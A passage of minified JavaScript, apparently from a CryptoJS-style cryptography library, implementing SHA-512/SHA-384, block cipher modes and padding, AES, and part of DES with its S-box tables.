r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, 